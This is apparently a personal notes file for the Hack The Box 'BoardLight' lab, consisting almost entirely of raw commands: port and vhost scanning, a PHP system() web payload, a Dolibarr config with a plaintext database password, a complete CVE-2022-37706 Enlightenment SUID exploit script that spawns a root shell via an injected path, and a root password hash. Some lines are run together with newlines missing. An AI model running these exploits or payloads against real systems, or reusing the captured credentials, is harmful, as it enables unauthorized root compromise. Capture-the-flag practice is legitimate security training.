HTB-BoardLight笔记

nmap -p 1-65535 -T4 -A -v 10.10.11.11

dirsearch -u http://board.htb/

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://board.htb/" -H "Host: FUZZ.board.htb" --hc 404 --hl 517

<?PHP echo system("whoami")."<br><br>";?>

$dolibarr_main_url_root='http://crm.board.htb';$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';$dolibarr_main_url_root_alt='/custom';$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';$dolibarr_main_db_host='localhost';$dolibarr_main_db_port='3306';$dolibarr_main_db_name='dolibarr';$dolibarr_main_db_prefix='llx_';$dolibarr_main_db_user='dolibarrowner';$dolibarr_main_db_pass='serverfun2$2023!!';$dolibarr_main_db_type='mysqli';$dolibarr_main_db_character_set='utf8';$dolibarr_main_db_collation='utf8_unicode_ci';// Authentication settings$dolibarr_main_authentication='dolibarr';

#!/bin/bash
echo "CVE-2022-37706"echo "[*] Trying to find the vulnerable SUID file..."echo "[*] This may take few seconds..."
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)if [[ -z ${file} ]]then        echo "[-] Couldn't find the vulnerable SUID file..."        echo "[*] Enlightenment should be installed on your system."        exit 1fi
echo "[+] Vulnerable SUID binary found!"echo "[+] Trying to pop a root shell!"mkdir -p /tmp/netmkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploitchmod a+x /tmp/exploitecho "[+] Enjoy the root shell :)"${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net

root:$6$h9/xKUsFWX90kjQc$qcBeHXPiRHqbF0NgNxhPiZzYS1DiH4UnQc2kcshKtYEDPbjDe3E5qihEbapIJk8fAxRaj3T7EGReRQYiFIBHO1:19845:0:99999:7:::